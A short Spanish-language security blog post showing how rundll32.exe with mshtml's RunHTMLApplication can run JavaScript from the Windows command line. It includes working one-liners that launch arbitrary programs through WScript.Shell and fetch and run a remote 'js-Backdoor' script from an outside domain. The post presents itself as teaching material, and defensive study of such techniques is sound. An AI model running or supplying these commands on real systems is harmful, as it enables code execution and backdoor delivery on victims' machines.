By @RaulRenales
Últimamente ando liado buscándole la vuelta de tuerca a JavaScript, como ya sabéis de episodios anteriores me gusta esconder en archivos SVG regalitos que puedan ser ejecutados a la carga de la imagen. La pasada semana jugábamos con js creando un pequeño keylogger que funcionaba a la maravilla, esta semana voy a dejar un poco de lado las imágenes svg y voy a contar una cosa curiosa que me he encontrado trasteando, usar javascript como payload en cargas a CMD.
Disclaimer: Este post es meramente didáctico-divulgativo y se utilizará para impartir formación, cualquier mal uso que se de sobre su contenido estará bajo la responsabilidad de la persona que lo mal utilice.
Como todos sabemos es fácil ejecutar javascript desde la url de un navegador, basta con poner javascript:alert(‘Hola DT’) y el dócil navegador lo ejecutara como un corderito.’, aunque hemos de decir que los navegadores se van poniendo al día y cada vez se resisten más a estos trucos.
La pregunta es, ¿Sería posible que se pudiera lanzar javascript desde la línea de comandos?
Pues la respuesta es SI, la cuestión es buscar un buen compañero de viaje para nuestro JavaScript. En este caso el elegido es rundll32.exe, a través de él realizaremos nuestras ejecuciones de código JS.
Nota cultural: Rundll y Rundll32 se diseñaron originalmente sólo para uso interno en Microsoft. Sin embargo, las funciones que proporcionan son suficientemente genéricas como para que estén ahora disponibles para el uso general. Básicamente permiten invocar una función exportada de una DLL.
Volviendo al caso, la idea es hacer lo mismo que antes, ejecutando un alert que nos permita saludar a los amigos, utilizando como payload un javascript y el rundll32.exe como medio de ejecución.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("Hola Honeys")
|
La cuestión no queda aquí, podemos ejecutar cualquier programa utilizando:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")
|
Para llegar a donde mas os guste, tan solo tenéis que cambiar la ruta y el ejecutable de esta parte del código: Run("calc.exe"). Con ello podremos ejecutar prácticamente cualquier cosa.
Otro tema que me interesa bastante de esto es la posibilidad de ejecutar código remoto ya preparado y subido a algún servidor, con algo tan sencillo como esto:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://midominio.com/js-Backdoor/prueba")
|
Bueno, pues esto es todo, me ha parecido curioso y quería compartirlo con mis Honeys, seguramente a alguno le gustaran estos trucos.
Referencia: https://gist.github.com/Ridter
No hay comentarios:
Publicar un comentario